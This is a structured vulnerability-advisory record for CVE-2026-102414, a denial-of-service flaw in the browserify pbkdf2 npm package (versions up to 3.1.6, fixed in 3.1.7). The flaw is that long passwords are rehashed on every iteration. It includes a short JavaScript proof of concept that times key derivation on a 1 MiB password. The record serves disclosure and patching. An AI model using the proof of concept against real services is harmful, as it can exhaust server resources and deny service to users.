{"schema":"threatline.record/2","record":{"id":"CVE-2026-102414","aliases":["GHSA-477h-4r7f-fvrx"],"summary":"pbkdf2 rehashes long passwords on every iteration, enabling denial of service","details":"### Summary\nThis is the same bug as Django had (CVE-2013-1443).\n\n### Details\nA long password can cause a DoS because it is not using cached HMAC, length limits, or pre-hashing passwords longer than the block size of the hash function as per HMAC spec. This line of code hashes the full password each iteration: https://github.com/browserify/pbkdf2/blob/1c3b1f526b052a29b3b42120c9821895772df7e8/lib/sync.js#L60\n\nAlso see https://github.com/browserify/pbkdf2/issues/82\n\n### PoC\nThe first key will take a lot longer to generate when not using the native code and uses code from `/lib/sync.js` (ie when this if statement is true):\nhttps://github.com/browserify/pbkdf2/blob/1c3b1f526b052a29b3b42120c9821895772df7e8/index.js#L33-L37\n\n```js\nvar pbkdf2 = require('pbkdf2');\nvar createHash = require('create-hash');\nvar pw = \".\".repeat(1048576); // 1 MiB\n\nvar t0 = performance.now();\nvar key1 = pbkdf2.pbkdf2Sync(pw, \"salt\", 1000, 32, \"sha256\");\nvar t1 = performance.now();\npw = createHash('sha256').update(pw).digest(); // HMAC specification for keys larger than block size\nvar key2 = pbkdf2.pbkdf2Sync(pw, \"salt\", 1000, 32, \"sha256\");\nvar t2 = performance.now();\n\nconsole.log(\"First took:  \" + (t1 - t0));\nconsole.log(\"Second took: \" + (t2 - t1));\nconsole.log(\"Generated keys:\");\nconsole.log(key1);\nconsole.log(key2);\n```\n\n### Impact\nDoS","categories":["Libraries & packages"],"product":"pbkdf2","vendor":"browserify","ecosystem":"npm","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-477h-4r7f-fvrx","source_modified_at":"2026-10-06T13:40:10Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"pbkdf2"},"range":"<= 3.1.6"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-102414","source_modified_at":"2026-09-30T15:17:17.598Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"pbkdf2","vendor":"browserify","versions":[{"status":"affected","version":"0","lessThanOrEqual":"3.1.6","versionType":"semver"}],"defaultStatus":"unaffected"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-477h-4r7f-fvrx","source_modified_at":"2026-10-06T13:45:05.863430802Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"pbkdf2","purl":"pkg:npm/pbkdf2"},"ranges":[{"events":[{"introduced":"0"},{"fixed":"3.1.7"}],"type":"SEMVER"}],"versions":[]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-477h-4r7f-fvrx","source_modified_at":"2026-10-06T13:40:10Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"pbkdf2"},"version":"3.1.7"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-477h-4r7f-fvrx","source_modified_at":"2026-10-06T13:45:05.863430802Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"pbkdf2","purl":"pkg:npm/pbkdf2"},"version":"3.1.7"}],"cvss":6.3,"severity":"Medium","kev":{"listed":false},"epss":{"probability":0.00284,"percentile":0.19824,"score_date":"2026-10-23"},"published_at":"2026-09-29T03:42:04.950Z","modified_at":"2026-10-06T13:45:05.863430802Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-477h-4r7f-fvrx","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-06T13:40:10Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-102414","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-09-30T15:17:17.598Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-477h-4r7f-fvrx","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-06T13:45:05.863430802Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102414","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/browserify/pbkdf2/security/advisories/GHSA-477h-4r7f-fvrx","tags":["exploit"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102414","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://github.com/browserify/pbkdf2/issues/82","tags":["issue-tracking"]},{"url":"https://github.com/browserify/pbkdf2/commit/493d8d8ff437f680338bf7397398fda884ad462e","source":"GitHub Advisory Database"},{"url":"https://github.com/advisories/GHSA-477h-4r7f-fvrx","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://github.com/browserify/pbkdf2/commit/493d8d8","tags":["patch"]}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"no","technical_impact":"partial","assessed_at":"2026-09-30T15:16:42.833185Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-06T13:45:05.863430802Z","content_hash":"4c9f1330232024e029f4de7cead85e76b45c5a01acddbf1dc6ab99c6fe556d48"}}
